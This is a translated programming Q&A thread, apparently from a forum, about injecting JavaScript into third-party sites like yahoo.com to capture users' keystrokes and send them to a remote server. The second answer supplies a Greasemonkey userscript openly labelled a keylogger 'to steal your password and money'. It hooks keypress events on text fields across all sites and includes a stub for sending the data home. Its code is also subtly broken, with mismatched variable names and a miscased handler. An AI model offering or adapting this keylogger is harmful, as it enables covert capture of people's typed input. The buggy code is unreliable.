用于插入javascript的Firefox插件或者greasemonkey脚本

Question

我正在开发一个分析用户输入模式的应用程序。为了实现这一点，我需要更改用户所在网页的HTML（例如yahoo.com） - 对于页面中的所有文本框项目，添加一些JavaScript函数来捕获按键并键入事件。因此，我需要能够在此现有页面中添加新的JavaScript。这些函数将打包数据并将其发送到远程服务器（例如myApp.com）。

我需要帮助：

1. 将JavaScript插入HTML页面
2. 将上面添加的JavaScript中定义的一些函数添加到网页中的所有textarea元素
3. 将数据从上面的JavaScript传输到远程服务器（即不到服务原始页面的服务器）的方法

首选Firefox插件，但Greasemonkey脚本也可以......

谢谢！

Answer 1

如果您不介意它仅在Firefox上运行，那么我建议Mozilla Jetpack。

如果您对使用jQuery感到满意，那么这是一个非常熟悉的环境。

Answer 2

这是获取keyup和keydown事件所需的代码。

// ==UserScript==
// @name          Log-O-Matic
// @description   A keylogger to steal your password and money ^^
// @include       http*://*
// ==/UserScript==

var collected_data="";
function collect(event){ collected_data+="/"+event.keyCode;}
function send_home(){ /* use GM_xmlhttprequest here to send collected_data */}
var textareas = document.getElementsByTagName("textarea");
for(i in textareas) {
    textareas[i].onKeyPress=collect;
}
var inputs = document.getElementsByTagName("input");
for(i in input) {
    if(input[i].type!="password")input[i].onKeyPress=collect;
}